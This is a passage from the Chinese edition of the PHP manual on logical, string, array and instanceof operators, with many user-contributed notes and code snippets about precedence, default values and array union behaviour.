        if($val === false && count($args) > 2){
            $args = array_slice($args, 2);

            foreach($args as $arg){
                if($arg !== false){
                    $val = $arg;
                    break;
                }
            }
        }
        return $val;
    }
?>

Now instead of:

$v = $a ? $a : $b;

I write:

$v = either($a, $b);

but more importantly, instead of writing:

$v = $a ? $a : ($b ? $b : $c);

I write:

$v = either($a, $b, $c);

or indeed:

$v = either($a, $b, $c, $d, $e, $f, $g, $h);
moschris at gmail dot com 24-May-2016 05:31
Unlike C++ and related languages, side effects in the left operand may NOT be used in the right operand.

e.g. if ($a=1 && $a>0)
will produce an unassigned error if $a has not previously been assigned a value.
drevilkuko at gmail dot com 07-Dec-2015 05:29
using NULL coalesce operator:

<?php
$nc = true == false ?? 'no';
var_dump($nc); // false

$nc = null ?? 'yes';
var_dump($nc); // yes

$username = null == false ?? 'no';
var_dump($nc); // true

$nc = $_GET['something'] ?? 'default';
var_dump($nc); // default

$nc = !isset($_GET['something']) ?? 'wtf';
var_dump($nc); // true

$nc = isset($_GET['something']) ?? 'wtf';
var_dump($nc); // false

$_POST['second'] = 'chain';
$nc = $_GET['first'] ?? $_POST['second'] ?? $_REQUEST['third'] ?? 'wtf';
var_dump($nc); // chain
?>
4077 04-May-2015 06:20
Assign a value to a variable if it isn't defined

<?php

isset($x) || $x = 123;

print $x; // 123

?>

instead of:
<?php

if ( !isset($x)) {
    $x = 123;
}

// or

$x = isset($x) ? $x : 123;

// or

$x = isset($x) ?: 123;
?>

editor's note: In PHP 7 you could use the coalesce operator and do:
<?php
$x = $x ?? 123;
samantha at adrichem dot nu 27-Feb-2015 03:28
<?php
    $res |= true;
    var_dump($res);
?>

does not/no longer returns a boolean (php 5.6) instead it returns int 0 or 1
anatoliy at ukhvanovy dot name 12-Jun-2014 01:41
If you want to use the '||' operator to set a default value, like this:

<?php
$a = $fruit || 'apple'; //if $fruit evaluates to FALSE, then $a will be set to TRUE (because (bool)'apple' == TRUE)
?>

instead, you have to use the '?:' operator:

<?php
$a = ($fruit ? $fruit : 'apple');//if $fruit evaluates to FALSE, then $a will be set to 'apple'
?>

But $fruit will be evaluated twice, which is not desirable. For example fruit() will be called twice:
<?php
function fruit($confirm) {
    if($confirm)
        return 'banana';
}
$a = (fruit(1) ? fruit(1) : 'apple');//fruit() will be called twice!
?>

But since ?since PHP 5.3, it is possible to leave out the middle part of the ternary operator? (http://www.php.net/manual/en/language.operators.comparison.php#language.operators.comparison.ternary), now you can code like this:

<?php
$a = ($fruit ? : 'apple'); //this will evaluate $fruit only once, and if it evaluates to FALSE, then $a will be set to 'apple'
?>

But remember that a non-empty string '0' evaluates to FALSE!

<?php
$fruit = '1';
$a = ($fruit ? : 'apple'); //this line will set $a to '1'
$fruit = '0';
$a = ($fruit ? : 'apple'); //this line will set $a to 'apple', not '0'!
?>
void at informance dot info 16-Apr-2014 10:53
To assign default value in variable assignation, the simpliest solution to me is:

<?php
$v = my_function() or $v = "default";
?>

It works because, first, $v is assigned the return value from my_function(), then this value is evaluated as a part of a logical operation:
* if the left side is false, null, 0, or an empty string, the right side must be evaluated and, again, because 'or' has low precedence, $v is assigned the string "default"
* if the left side is none of the previously mentioned values, the logical operation ends and $v keeps the return value from my_function()

This is almost the same as the solution from [phpnet at zc dot webhop dot net], except that his solution (parenthesis and double pipe) doesn't take advantage of the "or" low precedence.

NOTE: "" (the empty string) is evaluated as a FALSE logical operand, so make sure that the empty string is not an acceptable value from my_function(). If you need to consider the empty string as an acceptable return value, you must go the classical "if" way.
brian at zickzickzick dot com 19-Jul-2013 03:23
This has been mentioned before, but just in case you missed it:

<?php
    // Defaults --

    //If you're trying to gat 'Jack' from:
    $jack = false or 'Jack';

    // Try:
    $jack = false or $jack = 'Jack';

    //The other option is:
    $jack = false ? false : 'Jack';
?>
phpnet at zc dot webhop dot net 07-Dec-2012 03:07
This works similar to javascripts short-curcuit assignments and setting defaults. (e.g.  var a = getParm() || 'a default';)

<?php

($a = $_GET['var']) || ($a = 'a default');

?>

$a gets assigned $_GET['var'] if there's anything in it or it will fallback to 'a default'
Parentheses are required, otherwise you'll end up with $a being a boolean.
momrom at freenet dot de 19-Apr-2009 08:32
Evaluation of logical expressions is stopped as soon as the result is known.
If you don't want this, you can replace the and-operator by min() and the or-operator by max().

<?php
function a($x) { echo 'Expression '; return $x; }
function b($x) { echo 'is '; return $x; }
function c($x) { echo $x ? 'true.' : 'false.' ;}

c( a( false ) and b( true ) ); // Output: Expression false.
c( min( a( false ), b( true ) ) ); // Output: Expression is false.

c( a( true ) or b( true ) ); // Output: Expression true.
c( max( a( true ), b( true ) ) ); // Output: Expression is true.
?>

This way, values aren't automaticaly converted to boolean like it would be done when using and or or. Therefore, if you aren't sure the values are already boolean, you have to convert them 'by hand':

<?php
c( min( (bool) a( false ), (bool) b( true ) ) );
?>
pepesantillan at gmail dot com 23-Dec-2007 03:23
worth reading for people learning about php and programming: (adding extras <?php ?> to get highlighted code)

about the following example in this page manual:
Example#1 Logical operators illustrated

...
<?php
// "||" has a greater precedence than "or"
$e = false || true; // $e will be assigned to (false || true) which is true
$f = false or true; // $f will be assigned to false
var_dump($e, $f);

// "&&" has a greater precedence than "and"
$g = true && false; // $g will be assigned to (true && false) which is false
$h = true and false; // $h will be assigned to true
var_dump($g, $h);
?>
_______________________________________________end of my quote...

If necessary, I wanted to give further explanation on this and say that when we write:
$f = false or true; // $f will be assigned to false
the explanation:

"||" has a greater precedence than "or"

its true. But a more acurate one would be

"||" has greater precedence than "or" and than "=", whereas "or" doesnt have greater precedence than "=", so

<?php
$f = false or true;

//is like writting

($f = false ) or true;

//and

$e = false || true;

is the same as

$e = (false || true);

?>

same goes for "&&" and "AND".

If you find it hard to remember operators precedence you can always use parenthesys - "(" and ")". And even if you get to learn it remember that being a good programmer is not showing you can do code with fewer words. The point of being a good programmer is writting code that is easy to understand (comment your code when necessary!), easy to maintain and with high efficiency, among other things.
paranoiq at centrum dot cz 19-Nov-2007 08:00
and, or and xor can be used as conditional constructs:

<?php
// do_that() is executed only if do_this() returns false
if($something) do_this() or do_that();
// $b is assigned to $b, do_that() is executed if $b is false
if($something) $a = $b or do_that();

// do_that() is executed only if do_this() returns true
if($something) do_this() and do_that();
// $b is assigned to $b, do_that() is executed if $b is true
if($something) $a = $b and do_that();

// both do_that() and do_this() are executed..
if($something) do_this() xor do_that();
// .. so the behaviour is same as:
if($something) {
    do_this();
    do_that();
}
?>

for understanding what happens if $b is NULL or do_this() returns NULL, read the avbentem's comment on NULL type. generaly speaking, NULL is threated like false in most cases.
peter dot kutak at NOSPAM dot gmail dot com 01-Oct-2007 12:36
$test = true and false;     ---> $test === true
$test = (true and false);  ---> $test === false
$test = true && false;      ---> $test === false

NOTE: this is due to the first line actually being

($test = true) and false;

due to "&&" having a higher precedence than "=" while "and" has a lower one
Lawrence 28-Aug-2007 12:04
Note that PHP's boolean operators *always* return a boolean value... as opposed to other languages that return the value of the last evaluated expression.

For example:

$a = 0 || 'avacado';
print "A: $a\n";

will print:

A: 1

in PHP -- as opposed to printing "A: avacado" as it would in a language like Perl or JavaScript.

This means you can't use the '||' operator to set a default value:

$a = $fruit || 'apple';

instead, you have to use the '?:' operator:

$a = ($fruit ? $fruit : 'apple');
Andrew 13-Aug-2007 08:49
> <?php
> your_function() or return "whatever";
> ?>

doesn't work because return is not an expression, it's a statement. if return was a function it'd work fine. :/


字符串运算符

有两个字符串（string）运算符。第一个是连接运算符（"."），它返回其左右参数连接后的字符串。第二个是连接赋值运算符（".="），它将右边参数附加到左边的参数之后。更多信息见赋值运算符。

<?php
$a = "Hello ";
$b = $a . "World!"; // 现在 $b 包含 "Hello World!"

$a = "Hello ";
$a .= "World!"; // 现在 $a 包含 "Hello World!"
?>

参见

  • 字符串类型
  • 字符串函数

User Contributed Notes

biziclop 14-Sep-2022 10:31
Some bitwise operators (the and, or, xor and not operators: & | ^ ~ ) also work with strings too since PHP4, so you don't have to loop through strings and do chr(ord($s[i])) like things.

See the documentation of the bitwise operators: https://www.php.net/operators.bitwise

<?php var_dump(
  ('23456787654' ^ 'zVXYYhoXDYP'), // 'Hello_World'
  ('(!($)^!)@$@' | '@ddhfIvn2H$'), // 'hello_world'
  ('{}~|o!Wo{|}' & 'Lgmno|Wovmf'), // 'Hello World'
  (~'<0-14)(98'  &   '}}}}}}}}}')  // 'AMPLITUDE'
); ?>

Live demo: https://3v4l.org/MnFeb
K.Alex 26-Dec-2012 10:22
As for me, curly braces serve good substitution for concatenation, and they are quicker to type and code looks cleaner. Remember to use double quotes (" ") as their content is parced by php, because in single quotes (' ') you'll get litaral name of variable provided:

<?php

 $a = '12345';

// This works:
 echo "qwe{$a}rty"; // qwe12345rty, using braces
 echo "qwe" . $a . "rty"; // qwe12345rty, concatenation used

// Does not work:
 echo 'qwe{$a}rty'; // qwe{$a}rty, single quotes are not parsed
 echo "qwe$arty"; // qwe, because $a became $arty, which is undefined

?>
hexidecimalgadget at hotmail dot com 09-Feb-2009 09:37
If you attempt to add numbers with a concatenation operator, your result will be the result of those numbers as strings.

<?php

echo "thr"."ee";           //prints the string "three"
echo "twe" . "lve";        //prints the string "twelve"
echo 1 . 2;                //prints the string "12"
echo 1.2;                  //prints the number 1.2
echo 1+2;                  //prints the number 3

?>
mariusads::at::helpedia.com 27-Aug-2008 02:44
Be careful so that you don't type "." instead of ";" at the end of a line.

It took me more than 30 minutes to debug a long script because of something like this:

<?
echo 'a'.
$c = 'x';
echo 'b';
echo 'c';
?>

The output is "axbc", because of the dot on the first line.
Stephen Clay 23-Dec-2005 07:10
<?php
"{$str1}{$str2}{$str3}"; // one concat = fast
  $str1. $str2. $str3;   // two concats = slow
?>
Use double quotes to concat more than two strings instead of multiple '.' operators.  PHP is forced to re-concatenate with every '.' operator.
anders dot benke at telia dot com 27-Apr-2004 09:53
A word of caution - the dot operator has the same precedence as + and -, which can yield unexpected results.

Example:

<php
$var = 3;

echo "Result: " . $var + 3;
?>

The above will print out "3" instead of "Result: 6", since first the string "Result3" is created and this is then added to 3 yielding 3, non-empty non-numeric strings being converted to 0.

To print "Result: 6", use parantheses to alter precedence:

<php
$var = 3;

echo "Result: " . ($var + 3);
?>


数组运算符

数组运算符
例子 | 名称 | 结果
$a + $b | 联合 | $a 和 $b 的联合。
$a == $b | 相等 | 如果 $a 和 $b 具有相同的键／值对则为 true。
$a === $b | 全等 | 如果 $a 和 $b 具有相同的键／值对并且顺序和类型都相同则为 true。
$a != $b | 不等 | 如果 $a 不等于 $b 则为 true。
$a <> $b | 不等 | 如果 $a 不等于 $b 则为 true。
$a !== $b | 不全等 | 如果 $a 不全等于 $b 则为 true。

+ 运算符把右边的数组元素附加到左边的数组后面，两个数组中都有的键名，则只用左边数组中的，右边的被忽略。

<?php
$a = array("a" => "apple", "b" => "banana");
$b = array("a" => "pear", "b" => "strawberry", "c" => "cherry");

$c = $a + $b; // $a 和 $b 的并集
echo "Union of \$a and \$b: \n";
var_dump($c);

$c = $b + $a; // $b 和 $a 的并集
echo "Union of \$b and \$a: \n";
var_dump($c);

$a += $b; // $a += $b 的并集是 $a 和 $b
echo "Union of \$a += \$b: \n";
var_dump($a);
?>
执行后，此脚本会显示：
Union of $a and $b:
array(3) {
  ["a"]=>
  string(5) "apple"
  ["b"]=>
  string(6) "banana"
  ["c"]=>
  string(6) "cherry"
}
Union of $b and $a:
array(3) {
  ["a"]=>
  string(4) "pear"
  ["b"]=>
  string(10) "strawberry"
  ["c"]=>
  string(6) "cherry"
}
Union of $a += $b:
array(3) {
  ["a"]=>
  string(5) "apple"
  ["b"]=>
  string(6) "banana"
  ["c"]=>
  string(6) "cherry"
}

数组中的单元如果具有相同的键名和值则比较时相等。

Example #1 比较数组

<?php
$a = array("apple", "banana");
$b = array(1 => "banana", "0" => "apple");

var_dump($a == $b); // bool(true)
var_dump($a === $b); // bool(false)
?>

参见

  • 数组类型
  • 数组函数

User Contributed Notes

Anonymous 19-Oct-2022 09:32
Merge two arrays and retain only unique values.
Append values from second array.
Do not care about keys.

<?php
$array1 = [
    0 => 'apple',
    1 => 'orange',
    2 => 'pear',
];

$array2 = [
    0 => 'melon',
    1 => 'orange',
    2 => 'banana',
];

$result = array_keys(
    array_flip($array1) + array_flip($array2)
);
?>

Result:
[
  [0] => "apple",
  [1] => "orange",
  [2] => "pear",
  [3] => "melon",
  [4] => "banana",
}
drone dot ah at gmail dot com 06-Oct-2017 09:51
The note about array comparison by Q1712 is not entirely accurate.

"The identical operator just requires that the keys are in the same order in both arrays:"

This may have been the case in past (I cannot verify it). It requires that the keys are in the same order AND that the values match

To extend that example

<?php

  $a = array (0 => "apple", 1 => "banana");
  $b = array (1 => "banana", 0 => "apple");

  var_dump($a === $b); // prints bool(false) as well

  $b = array ("0" => "apple", "1" => "banana");

  var_dump($a === $b); // prints bool(true)

  $b = array ("0" => "apple-1", "1" => "banana-1");

  var_dump($a === $b); // prints bool(false)

?>
xtpeqii at Hotmail dot com 21-Sep-2017 08:02
$a=[ 3, 2, 1];
$b=[ 6, 5, 4];
var_dump( $a + $b );

output:
array(3) {
  [0]=>
  int(3)
  [1]=>
  int(2)
  [2]=>
  int(1)
}

The reason for the above output is that EVERY array in PHP is an associative one.
Since the 3 elements in $b have the same keys( or numeric indices ) as those in $a, those elements in $b are ignored by the union operator.
Anonymous 29-Jan-2014 12:23
The manual say ...

"The + operator appends the right elements in the array from left, whereas duplicated keys are NOT overwritten"

but ..

$a = array("a" => 'A', "b" => 'B');
$b = array("a" => 'A', "b" => 'B', "c" => 'C');

$c = $a + $b // or $b + a  is  the same output;

echo '<pre>';

print_r($c);

echo '<pre>';

//Output   for  $a + b  or  $b + a
Array (
    [a] => A
    [b] => B
    [c] => C
)
sd6733531 at gmail dot com 30-Mar-2013 07:18
Look out use + with array combine.

$arr = array(1, 2, 3);
$int=345;
$arr=$arr+$int;

Of couse,use + to combine array is easy and readable.
But if one of the variable is not array type(like above code) ,that would make a PHP Fatal Error:
PHP Fatal error:  Unsupported operand types
Maybe should do check before.
Dan Patrick 04-Mar-2012 06:39
It should be mentioned that the array union operator functions almost identically to array_replace with the exception that precedence of arguments is reversed.
cb at netalyst dot com 15-Oct-2008 11:39
The union operator did not behave as I thought it would on first glance. It implements a union (of sorts) based on the keys of the array, not on the values.

For instance:
<?php
$a = array('one','two');
$b=array('three','four','five');

//not a union of arrays' values
echo '$a + $b : ';
print_r ($a + $b);

//a union of arrays' values
echo "array_unique(array_merge($a,$b)):";
// cribbed from http://oreilly.com/catalog/progphp/chapter/ch05.html
print_r (array_unique(array_merge($a,$b)));
?>

//output

$a + $b : Array
(
    [0] => one
    [1] => two
    [2] => five
)
array_unique(array_merge(Array,Array)):Array
(
    [0] => one
    [1] => two
    [2] => three
    [3] => four
    [4] => five
)
csaba at alum dot mit dot edu 24-Jun-2008 08:54
Simple array arithmetic:
A more compact way of adding or subtracting the elements at identical keys...

<?php
function array_add($a1, $a2) {  // ...
  // adds the values at identical keys together
  $aRes = $a1;
  foreach (array_slice(func_get_args(), 1) as $aRay) {
    foreach (array_intersect_key($aRay, $aRes) as $key => $val) $aRes[$key] += $val;
    $aRes += $aRay; }
  return $aRes; }

function array_subtract($a1, $a2) {  // ...
  // adds the values at identical keys together
  $aRes = $a1;
  foreach (array_slice(func_get_args(), 1) as $aRay) {
    foreach (array_intersect_key($aRay, $aRes) as $key => $val) $aRes[$key] -= $val;
    foreach (array_diff_key($aRay, $aRes) as $key => $val) $aRes[$key] = -$val; }
  return $aRes; }

Example:
$a1 = array(9, 8, 7);
$a2 = array(1=>7, 6, 5);
$a3 = array(2=>5, 4, 3);

$aSum = array_add($a1, $a2, $a3);
$aDiff = array_subtract($a1, $a2, $a3);

// $aSum  => [9, 15, 18, 9, 3]
// $aDiff => [9, 1, -4, -9, -3]
?>

To make a similar function, array_concatenate(), change only the first of the two '+=' in array_add() to '.='
Csaba Gabor from Vienna
Q1712 at online dot ms 20-Apr-2007 05:54
The example may get u into thinking that the identical operator returns true because the key of apple is a string but that is not the case, cause if a string array key is the standart representation of a integer it's gets a numeral key automaticly.

The identical operator just requires that the keys are in the same order in both arrays:

<?php
$a = array (0 => "apple", 1 => "banana");
$b = array (1 => "banana", 0 => "apple");

var_dump($a === $b); // prints bool(false) as well

$b = array ("0" => "apple", "1" => "banana");

var_dump($a === $b); // prints bool(true)
?>
puneet singh @ value-one dot com 18-Jan-2006 10:42
hi  just see one more example of union....

<?php
$a = array(1,2,3);
$b = array(1,7,8,9,10);
$c = $a + $b; // Union of $a and $b
echo "Union of \$a and \$b: \n";
//echo $c
print_r($c);
?>
//output
Union of $a and $b: Array ( [0] => 1 [1] => 2 [2] => 3 [3] => 9 [4] => 10 )
kit dot lester at lycos dot co dot uk 21-Aug-2005 09:01
When comparing arrays that have (some or all) element-values that are themselves array, then in PHP5 it seems that == and === are applied recursively - that is
 * two arrays satisfy == if they have the same keys, and the values at each key satisfy == for whatever they happen to be (which might be arrays);
 * two arrays satisfy === if they have the same keys, and the values at each key satisfy === for whatever (etc.).

Which explains what happens if we compare two arrays of arrays of arrays of...

Likewise, the corresponding inversions for != <> and !==.

I've tested this to array-of-array-of-array, which seems fairly convincing. I've not tried it in PHP4 or earlier.
kit dot lester at lycos dot co dot uk 21-Aug-2005 08:44
This manual page doesn't mention < & co for arrays, but example 15-2 in
    http://www.php.net/manual/en/language.operators.comparison.php
goes to some lengths to explain how they work.
dfranklin at fen dot com 22-Apr-2004 01:40
Note that + will not renumber numeric array keys.  If you have two numeric arrays, and their indices overlap, + will use the first array's values for each numeric key, adding the 2nd array's values only where the first doesn't already have a value for that index.  Example:

$a = array('red', 'orange');
$b = array('yellow', 'green', 'blue');
$both = $a + $b;
var_dump($both);

Produces the output:

array(3) { [0]=>  string(3) "red" [1]=>  string(6) "orange" [2]=>  string(4) "blue" }

To get a 5-element array, use array_merge.

    Dan
amirlaher AT yahoo DOT co SPOT uk 09-Dec-2002 10:41
[]= could be considered an Array Operator (in the same way that .= is a String Operator).
[]= pushes an element onto the end of an array, similar to array_push:
<?
  $array= array(0=>"Amir",1=>"needs");
  $array[]= "job";
  print_r($array);
?>
Prints: Array ( [0] => Amir [1] => needs [2] => job )


类型运算符

instanceof 用于确定一个 PHP 变量是否属于某一类 class 的实例：

Example #1 对类使用 instanceof

<?php
class MyClass
{
}

class NotMyClass
{
}
$a = new MyClass;

var_dump($a instanceof MyClass);
var_dump($a instanceof NotMyClass);
?>

以上示例会输出：

bool(true)
bool(false)

instanceof　也可用来确定一个变量是不是继承自某一父类的子类的实例：

Example #2 对继承类使用 instanceof

<?php
class ParentClass
{
}

class MyClass extends ParentClass
{
}

$a = new MyClass;

var_dump($a instanceof MyClass);
var_dump($a instanceof ParentClass);
?>

以上示例会输出：

bool(true)
bool(true)

检查一个对象是否不是某个类的实例，可以使用逻辑运算符 not。

Example #3 使用 instanceof 检查对象不是某个类的实例

<?php
class MyClass
{
}

$a = new MyClass;
var_dump(!($a instanceof stdClass));
?>

以上示例会输出：

bool(true)

最后，instanceof也可用于确定一个变量是不是实现了某个接口的对象的实例:

Example #4 对接口使用 instanceof

<?php
interface MyInterface
{
}

class MyClass implements MyInterface
{
}

$a = new MyClass;

var_dump($a instanceof MyClass);
var_dump($a instanceof MyInterface);
?>

以上示例会输出：

bool(true)
bool(true)

虽然 instanceof 通常直接与类名一起使用，但也可以使用对象或字符串变量：

Example #5 对其它变量使用 instanceof

<?php
interface MyInterface
{
}

class MyClass implements MyInterface
{
}

$a = new MyClass;
$b = new MyClass;
$c = 'MyClass';
$d = 'NotMyClass';

var_dump($a instanceof $b); // $b 是 MyClass 类的对象
var_dump($a instanceof $c); // $c 是字符串 'MyClass'
var_dump($a instanceof $d); // $d 是字符串 'NotMyClass'
?>

以上示例会输出：

bool(true)
bool(true)
bool(false)

如果被检测的变量不是对象，instanceof 并不发出任何错误信息而是返回 false。PHP 7.3.0 之前不允许用于检测常量。

Example #6 用 instanceof 检测其它变量

<?php
$a = 1;
$b = NULL;
$c = imagecreate(5, 5);
var_dump($a instanceof stdClass); // $a 是整数
var_dump($b instanceof stdClass); // $b 是 NULL
var_dump($c instanceof stdClass); // $c 是资源
var_dump(FALSE instanceof stdClass);
?>

以上示例会输出：

bool(false)
bool(false)
bool(false)
PHP Fatal error:  instanceof expects an object instance, constant given

PHP 7.3.0 起， instanceof 操作符的左侧可以放常量。

Example #7 使用 instanceof 测试常量

<?php
var_dump(FALSE instanceof stdClass);
?>

以上示例在 PHP 7.3 中的输出：

bool(false)

PHP 8.0.0 起， instanceof 可以与任何表达式一起使用。表达式必须使用括号括起来并且生成 string。

Example #8 将 instanceof 与任意表达式一起使用

<?php

class ClassA extends \stdClass {}
class ClassB extends \stdClass {}
class ClassC extends ClassB {}
class ClassD extends ClassA {}

function getSomeClass(): string
{
return ClassA::class;
}

var_dump(new ClassA instanceof ('std' . 'Class'));
var_dump(new ClassB instanceof ('Class' . 'B'));
var_dump(new ClassC instanceof ('Class' . 'A'));
var_dump(new ClassD instanceof (getSomeClass()));
?>

以上示例在 PHP 8 中的输出：

bool(true)
bool(true)
bool(false)
bool(true)

instanceof 在功能上有个 类似的变体 is_a()。

参见

  • get_class()
  • is_a()

User Contributed Notes

wapinet at mail dot ru 07-May-2021 11:57
if you have only class names (not objects) you can use that snippet: https://3v4l.org/mUKUC
<?php
interface i{}
class a implements i{}

var_dump(a::class instanceof i); // false
var_dump(in_array(i::class, class_implements(a::class), true)); // true
ASchmidt at Anamera dot net 20-Jan-2020 06:43
Using an undefined variable will result in an error.

If variable is in doubt, one must prequalify:

    if ( isset( $MyInstance ) and $MyInstance instanceof MyClass ) ...
waahhhh 18-Dec-2019 10:07
The first parameter must be an object instance.

example:
<?php

class A {}
class B extends A {}

var_dump(A::class instanceof B); // false
var_dump(B::class instanceof A); // false
var_dump(new B() instanceof A); // true
Hayley Watson 04-Nov-2017 11:39
If you want to use "$foo instanceof $bar" to determine if two objects are the same class, remember that "instanceof" will also evaluate to true if $foo is an instance of a _subclass_ of $bar's class.

If you really want to see if they are the _same_ class, then they both have to be instances of each other's class. That is:
<?php

($foo instanceof $bar && $bar instanceof $foo)

?>

Consider it an alternative to "get_class($bar) == get_class($foo)" that avoids the detour through to string lookups and comparisons.
wadih at creationmw dot com 29-Jul-2017 08:41
Doing $a instanceof stdClass from inside a namespace will not work on its own.

You will have to do:

<?php
if ($a instanceof \stdClass)
?>
CH 15-Jan-2014 02:00
You can use instanceof also for interfaces.
dava 11-Dec-2013 05:52
You are also able to compare 2 objects using instanceOf. In that case, instanceOf will compare the types of both objects. That is sometimes very useful:

<?php

class A { }
class B { }

$a = new A;
$b = new B;
$a2 = new A;

echo $a instanceOf $a; // true
echo $a instanceOf $b; // false
echo $a instanceOf $a2; // true

?>
info at pkrules dot in 29-Oct-2013 11:08
use this to check instance of or you can add the else part inside the if making it nested if for dual varification.:-
<?php
class MyClass{}
class Test extends MyClass{
public function checkObjectArray(array $array,$classname,$strict=false){
if(!$strict){
foreach($array as $element){
 if(!($element instanceOf $classname)){//we can use typehint objects
INSIDE an array
 echo "false";
 echo "<br />";
 break;
 }
 else{
 print "<br />true (if)";
 }
}
}
else{
foreach($array as $element){
if(get_class($element)!=$classname){// or we can use this function to
check the classes inside this array
echo "false (else)";
}
}
}
echo "<br />true";
}
}
$ob=new Test;

$a=new MyClass();
$array=array($a);
$ob->checkObjectArray($array,'MyClass');
?>
knarlin at yahoo dot com dot au 28-Feb-2013 11:23
Checking an object is not an instance of a class, example #3 uses extraneous parentheses.

<?php
var_dump(!($a instanceof stdClass));
?>

Because instanceof has higher operator precedence than ! you can just do

<?php
var_dump( ! $a instanceof stdClass );
?>
wbcarts at juno dot com 18-May-2012 02:14
SIMPLE, CLEAN, CLEAR use of the instanceof OPERATOR

First, define a couple of simple PHP Objects to work on -- I'll introduce Circle and Point. Here's the class definitions for both:

<?php

class Circle
{
  protected $radius = 1.0;

  /*
   * This function is the reason we are going to use the
   * instanceof operator below.
   */
  public function setRadius($r)
  {
    $this->radius = $r;
  }

  public function __toString()
  {
    return 'Circle [radius=' . $this->radius . ']';
  }
}

class Point
{
  protected $x = 0;
  protected $y = 0;

  /*
   * This function is the reason we are going to use the
   * instanceof operator below.
   */
  public function setLocation($x, $y)
  {
    $this->x = $x;
    $this->y = $y;
  }

  public function __toString()
  {
    return 'Point [x=' . $this->x . ', y=' . $this->y . ']';
  }
}

?>

Now instantiate a few instances of these types. Note, I will put them in an array (collection) so we can iterate through them quickly.

<?php

$myCollection = array(123, 'abc', 'Hello World!',
  new Circle(), new Circle(), new Circle(),
  new Point(), new Point(), new Point());

$i = 0;
foreach($myCollection AS $item)
{
  /*
   * The setRadius() function is written in the Circle class
   * definition above, so make sure $item is an instance of
   * type Circle BEFORE calling it AND to avoid PHP PMS!
   */
  if($item instanceof Circle)
  {
    $item->setRadius($i);
  }

  /*
   * The setLocation() function is written in the Point class
   * definition above, so make sure $item is an instance of
   * type Point BEFORE calling it AND to stay out of the ER!
   */
  if($item instanceof Point)
  {
    $item->setLocation($i, $i);
  }

  echo '$myCollection[' . $i++ . '] = ' . $item . '<br>';
}

?>

$myCollection[0] = 123
$myCollection[1] = abc
$myCollection[2] = Hello World!
$myCollection[3] = Circle [radius=3]
$myCollection[4] = Circle [radius=4]
$myCollection[5] = Circle [radius=5]
$myCollection[6] = Point [x=6, y=6]
$myCollection[7] = Point [x=7, y=7]
$myCollection[8] = Point [x=8, y=8]
Sudarshan Wadkar 15-Dec-2011 04:34
I don't see any mention of "namespaces" on this page so I thought I would chime in. The instanceof operator takes FQCN as second operator when you pass it as string and not a simple class name. It will not resolve it even if you have a `use MyNamespace\Bar;` at the top level. Here is what I am trying to say:

## testinclude.php ##
<?php
namespace Bar1;
{
class Foo1{ }
}
namespace Bar2;
{
class Foo2{ }
}
?>
## test.php ##
<?php
include('testinclude.php');
use Bar1\Foo1 as Foo;
$foo1 = new Foo(); $className = 'Bar1\Foo1';
var_dump($foo1 instanceof Bar1\Foo1);
var_dump($foo1 instanceof $className);
$className = 'Foo';
var_dump($foo1 instanceof $className);
use Bar2\Foo2;
$foo2 = new Foo2(); $className = 'Bar2\Foo2';
var_dump($foo2 instanceof Bar2\Foo2);
var_dump($foo2 instanceof $className);
$className = 'Foo2';
var_dump($foo2 instanceof $className);
?>
## stdout ##
bool(true)
bool(true)
bool(false)
bool(true)
bool(true)
bool(false)
fbableus 18-Mar-2011 06:05
If you want to test if a classname is an instance of a class, the instanceof operator won't work.

<?php
$classname = 'MyClass';
if( $classname instanceof MyParentClass) echo 'Child of it';
else echo 'Not child of it';
?>

Will always output
Not child of it

You must use a ReflectionClass :
<?php
$classname = 'MyClass';
$myReflection = new ReflectionClass($classname);
if( $myReflection->isSubclassOf('MyParentClass')) echo  'Child of it';
else echo 'Not child of it';
?>

Will output the good result.
If you're testing an interface, use implementsInterface() instead of isSublassOf().
mauritsdajong at gmail dot com 13-Aug-2010 03:38
Sometimes you want to typehint objects INSIDE an array, but I think you can't.

Instead, you can use this function to check the classes inside this array:

<?php

public checkObjectsArray(array $array, $classname, $strict = false) {
    if (!$strict) {
        foreach ($array as $element) {
            if (!($element instanceof $classname)) {
                return false;
            }
        }
    }
    else {
        foreach ($array as $element) {
            if (get_class($element) != $classname) {
                return false;
            }
        }
    }
    return true;
}

?>
phil dot taylor at gmail dot com 15-Jul-2010 04:13
It seems like instanceOf is using a string comparison. Longer class names take longer to check in conditional statements

eg.

if ($f instanceOf HelloWorldTestClass)

is much slower than

if ($f instanceOf HWT)
jtaal at eljakim dot nl 17-Nov-2008 05:37
You can use "self" to reference to the current class:

<?php
class myclass {
    function mymethod($otherObject) {
        if ($otherObject instanceof self) {
            $otherObject->mymethod(null);
        }
        return 'works!';
    }
}

$a = new myclass();
print $a->mymethod($a);
?>
kevin dot benton at beatport dot com 21-Aug-2008 09:31
Example #5 could also be extended to include...

var_dump($a instanceof MyInterface);

The new result would be

bool(true)

So - instanceof is smart enough to know that a class that implements an interface is an instance of the interface, not just the class.  I didn't see that point made clearly enough in the explanation at the top.
ejohnson82 at gmail dot com 18-Jan-2008 01:59
The PHP parser generates a parse error on either of the two lines that are commented out here.
Apparently the 'instanceof' construct will take a string variable in the second spot, but it will NOT take a string... lame

class Bar {}
$b = new Bar;
$b_class = "Bar";
var_export($b instanceof Bar); // this is ok
var_export($b instanceof $b_class); // this is ok
//var_export($f instanceof "Bar"); // this is syntactically illegal
//var_export($f instanceof 'Bar'); // this is syntactically illegal
julien plee using g mail dot com 20-Jul-2007 06:56
Response to vinyanov at poczta dot onet dot pl:

You mentionned "the instanceof operator will not accept a string as its first operand". However, this behavior is absolutely right and therefore, you're misleading the meaning of an instance.

<?php 'ClassA' instanceof 'ClassB'; ?> means "the class named ClassA is an instance of the class named ClassB". This is a nonsense sentence because when you instanciate a class, you ALWAYS obtain an object. Consequently, you only can ask if an object is an instance of a class.

I believe asking if "a ClassA belongs to a ClassB" (or "a ClassA is a class of (type) ClassB") or even "a ClassA is (also) a ClassB" is more appropriate. But the first is not implemented and the second only works with objects, just like the instanceof operator.

Plus, I just have tested your code and it does absolutely NOT do the same as instanceof (extended to classes)! I can't advise anyone to reuse it. The use of <?php is_instance_of ($instanceOfA, 'ClassB'); ?> raises a warning "include_once(Object id #1.php) ..." when using __autoload (trying to look for $instanceOfA as if it was a class name).

Finally, here is a fast (to me) sample function code to verify if an object or class:

<?php
function kind_of (&$object_or_class, $class)
{
    return is_object ($object_or_class) ?
        $object_or_class instanceof $class
        : (is_subclass_of ($object_or_class $class)
           || strtolower ($object_or_class) == strtolower ($class));
}
?>
jphaas at gmail dot com 11-Jul-2007 10:50
